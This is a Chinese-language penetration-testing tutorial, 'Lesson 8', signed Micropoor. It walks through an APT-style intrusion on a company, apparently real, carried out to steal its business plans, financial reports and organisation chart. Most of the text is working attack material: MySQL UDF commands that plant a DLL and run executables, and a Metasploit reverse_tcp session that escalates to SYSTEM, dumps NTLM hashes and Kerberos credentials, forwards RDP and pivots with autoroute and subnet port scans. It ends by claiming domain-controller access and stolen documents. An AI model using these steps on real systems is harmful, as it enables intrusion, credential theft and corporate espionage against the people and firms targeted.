第八课:模拟诉求任务攻击

模拟任务:

拿到该公司明年计划,拿到该公司今年报表,并且摸清该公司组织架构。盈利情况。

1、主站 Shell

第一个shell为目标主站shell,为08 R2,提权后遂改变主意。由于是以APT为主,并不打算以主站权限为点渗透,动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。

主站为2008 R2:

主站端口为:

2、信息搜集

搜集端口为该公司的其他分站提供下一步探测。

  • 进程搜集:红色为重点搜集源

> D:\> tasklist
映像名稱 PID 工作階段名稱 工作階段 # RAM使用量
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 372 K
smss.exe 296 0 1,448 K
csrss.exe 400 0 6,968 K
wininit.exe 452 0 5,636 K
csrss.exe 460 1 12,460 K
winlogon.exe 496 1 6,484 K
services.exe 556 0 10,392 K
lsass.exe 572 0 22,076 K
lsm.exe 584 0 7,104 K
svchost.exe 676 0 10,840 K
svchost.exe 760 0 9,492 K
LogonUI.exe 852 1 19,632 K
svchost.exe 864 0 21,188 K
svchost.exe 904 0 34,904 K
svchost.exe 944 0 13,476 K
svchost.exe 996 0 13,512 K
svchost.exe 168 0 19,480 K
svchost.exe 648 0 12,348 K
spoolsv.exe 1080 0 16,672 K
armsvc.exe 1124 0 4,208 K
apnmcp.exe 1172 0 5,832 K
svchost.exe 1196 0 9,228 K
aspnet_state.exe 1224 0 8,264 K
FileZilla Server.exe 1344 0 7,876 K
svchost.exe 1380 0 10,408 K
inetinfo.exe 1412 0 31,680 K
EngineServer.exe 1448 0 568 K
FrameworkService.exe 1548 0 19,580 K
VsTskMgr.exe 1612 0 1,724 K
MDM.EXE 1680 0 6,652 K
naPrdMgr.exe 1692 0 2,116 K
mfevtps.exe 1720 0 992 K
sqlservr.exe 1760 0 13,284 K
svchost.exe 1844 0 3,452 K
snmp.exe 1868 0 9,264 K
sqlwriter.exe 1904 0 7,440 K
vmtoolsd.exe 1976 0 17,012 K
snmp.exe 1988 0 3,164 K
conhost.exe 1996 0 4,784 K
vmware-converter-a.exe 2068 0 31,460 K
vmware-converter.exe 2180 0 38,176 K
vmware-converter.exe 2228 0 32,828 K
svchost.exe 2288 0 14,152 K
McShield.exe 2320 0 89,332 K
mfeann.exe 2468 0 5,860 K
conhost.exe 2476 0 3,380 K
w3wp.exe 2592 0 160,760 K
w3wp.exe 2812 0 463,872 K
svchost.exe 3452 0 9,656 K
svchost.exe 4104 0 6,384 K
dllhost.exe 4252 0 12,192 K
msdtc.exe 4424 0 8,708 K
svchost.exe 4196 0 34,760 K
w3wp.exe 5604 0 12,632 K
TrustedInstaller.exe 4500 0 11,788 K
cmd.exe 6292 0 3,932 K
conhost.exe 6384 0 4,476 K
tasklist.exe 1496 0 6,064 K
WmiPrvSE.exe 5508 0 7,272 K
  • 账户搜集:(已处理)

  • 重要路径搜集: (无图,路径搜集为未来可能需要dump file做准备)

  • 数据库密码搜集: (无图,密码搜集为未来可能需要碰撞做准备)

  • 杀毒软件搜集: 强力的麦咖啡

  • 管理员习惯搜集: (无图,尽量避免与admin的fvsf)(面对面的vs是不是这么拼写?)

  • 其他搜集: (由于是第一个shell,具体的已经忘记了)

3、第二台服务器权限

第二台服务器权限:window x86 2003

根据上一台的服务器情报搜集很快得到了一台win03

  • IP .3

为一台开发机。目标仅支持 asp,无其他脚本支持。但是服务器中安装有 mysql,php 等。并且无 asp to mysql Device Drive IIS 配置中也并不支持 php。msf 反弹后,继续搜集情报。

type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD

得到 root hash

在实际情况中,交互的shell下运行 mysql -uroot -pxxx 无法继续交互,需要参数 e 解决这个问题。

mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"
mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values (hex(load_file('C:\\xxxx\\xxxx.dll')));"
mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE
'c:\\windows\\system32\\xxxx.dll';"
mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'"
mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');"

如果限制上传大小同样可以hex解决上传大小问题。

4、msf 操作实例

以下为部分msf操作实例

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit -l
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0 NT AUTHORITY\SYSTEM
304 4 smss.exe x86 0 NT AUTHORITY\SYSTEM\SystemRoot\System32\smss.exe
352 304 csrss.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\csrss.exe
376 304 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\winlogon.exe
424 376 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
436 376 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
620 424 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
636 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
708 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
768 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
812 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
828 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1000 424 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1028 424 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
1160 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1228 424 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
1252 424 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA\~1\MICROS~1\MSSQL\binn\sqlservr.exe
1304 424 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\MySQL\MySQL Server 5.1\bin\mysqld.exe
1348 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1408 424 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1472 424 mssearch.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\System\MSSearch\Bin\mssearch.exe
1720 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
2128 2084 explorer.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\Explorer.EXE
2208 2128 vmtoolsd.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2232 2128 ctfmon.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\ctfmon.exe
2244 2128 sqlmangr.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
2396 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
2440 424 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3008 2128 cmd.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\cmd.exe
3024 3008 conime.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\conime.exe
3180 636 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
3248 828 wuauclt.exe xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\wuauclt.exe
3380 376 logon.scr x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\System32\logon.scr
meterpreter > migrate 2128
[*] Migrating from 3104 to 2128...
[*] Migration completed successfully. meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109205 NTLM xxxxxxxxxxxx Administrator lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;54469 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP xxxxxxxxxxxx\$ n.s. (Credentials KO)
meterpreter > kerberos [+] Running as SYSTEM
[*] Retrieving kerberos credentials kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;54469 NTLM
0;999 NTLM WORKGROUP xxxxxxxxxxxx$
0;109205 NTLM xxxxxxxxxxxx Administrator 123456
meterpreter > portfwd add -l 3389 -r x.x.x.x -p 3389 #IP已做处理
[*] Local TCP relay created: :3389 <-> x.x.x.x:3389
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 0.0.0.0:3389 x.x.x.x:3389 Forward
1 total active port forwards.
root@xxxx:/# rdesktop 127.0.0.1:3389 Autoselected keyboard map en-us
Failed to negotiate protocol, retrying with plain RDP.
WARNING: Remote desktop does not support colour depth 24; falling back to 16
meterpreter > run autoroute -h
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to
10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport
Hardware MAC : 00:11:25:40:77:8f
MTU : 1500
IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0
meterpreter > run autoroute -s 10.23.255.3 -n 255.255.255.0
[*] Adding a route to 10.23.255.3/255.255.255.0...
[+] Added route to 10.23.255.3/255.255.255.0 via 61.57.243.227
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.23.255.3 255.255.255.0 Session 3
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport
Hardware MAC : 00:11:25:40:77:8f
MTU : 1500
IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0
meterpreter >
Background session 3? [y/N]
msf auxiliary(tcp) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 445,80,3389,22 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 10.23.255.1-255 yes The target address range or CIDR identifier
THREADS 10 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

最终得到了域控权限,并且得到了跨段的服务器权限。得到了个人机的重要权限,以及公司财报doc。

部分截图如下:由于时间问题,顺序可能打乱了。

跳段, 个人机

放弃权限,所有操作并未更改,下载,删除等一切损害该公司的行为。

至此由虚拟机跳段到了工作办公机,(典型的A-B-C类跳板)得到了该公司的下年计划,人员组织构架,财务报表,盈利情况,以及内部相关work文档等。

--By Micropoor